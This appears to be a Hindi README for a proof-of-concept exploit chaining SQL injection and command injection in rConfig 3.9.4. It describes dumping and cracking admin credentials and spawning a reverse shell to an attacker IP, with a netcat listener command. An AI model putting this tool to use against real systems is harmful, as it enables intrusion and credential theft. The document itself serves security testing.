rConfig 3.9 संयुक्त SQL इंजेक्शन और कमांड इंजेक्शन PoC

अवलोकन

यह PoC rConfig संस्करण 3.9.4 को लक्षित करता है और SQL इंजेक्शन और रिमोट कमांड इंजेक्शन कमजोरियों के संयोजन के माध्यम से शोषण प्रदर्शित करता है। यह निम्नलिखित प्रक्रिया को स्वचालित करता है:

1. SQLi के माध्यम से डेटाबेस का नाम निकालना
2. डेटाबेस से उपयोगकर्ता क्रेडेंशियल डंप करना
3. hashcat का उपयोग करके rockyou शब्दसूची और best64.rules के साथ पासवर्ड हैश को क्रैक करने का प्रयास
4. वैकल्पिक रूप से, क्रैक किए गए एडमिन क्रेडेंशियल का उपयोग करके खोज कार्यक्षमता पर कमांड इंजेक्शन के माध्यम से रिमोट कमांड निष्पादन (RCE) करना

यह स्क्रिप्ट दो मूल PoCs पर आधारित है और उन्हें जोड़ती है:

• 48208.py (SQL इंजेक्शन) vikingfr द्वारा
• 48241.py (कमांड इंजेक्शन) Matthew Aberegg और Michael Burkey द्वारा

इसे क्रैकिंग और वैकल्पिक शेल स्पॉनिंग को स्वचालित करने के लिए संशोधित किया गया था।

आवश्यकताएँ

• Python 3
• requests लाइब्रेरी (pip install requests)
• hashcat स्थापित और कमांड लाइन के माध्यम से सुलभ
• rockyou.txt शब्दसूची (या समतुल्य) जो /usr/share/wordlists/rockyou.txt पर स्थित है
• hashcat नियम फ़ाइल /usr/share/hashcat/rules/best64.rule

उपयोग

केवल उपयोगकर्ताओं और हैश डंप करने के लिए:

python3 rConfig_rce.py https://target

उपयोगकर्ताओं को डंप करने, पासवर्ड क्रैक करने, और RCE का प्रयास करने के लिए (रिवर्स शेल के लिए हमलावर IP और पोर्ट की आवश्यकता है):

python3 rConfig_rce.py https://target attacker_ip attacker_port

नोट्स

• यदि hashcat पासवर्ड क्रैक करने में विफल रहता है, तो स्क्रिप्ट CrackStation जैसी ऑनलाइन क्रैकिंग सेवाओं का उपयोग करने का सुझाव देती है।
• यदि पासवर्ड हैश स्वचालित रूप से क्रैक नहीं किया जा सकता है, तो आपको RCE प्रयासों के लिए मैन्युअल रूप से सादा टेक्स्ट पासवर्ड इनपुट करने के लिए कहा जाएगा।
• स्क्रिप्ट कमांड इंजेक्शन चरण के लिए admin खाते का उपयोग करने को प्राथमिकता देती है।
• सुनिश्चित करें कि रिवर्स शेल को पकड़ने के लिए आपकी हमलावर मशीन पर एक लिसनर (जैसे, nc -lvnp 80) चल रहा है।

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनुमति के बिना सिस्टम के विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है।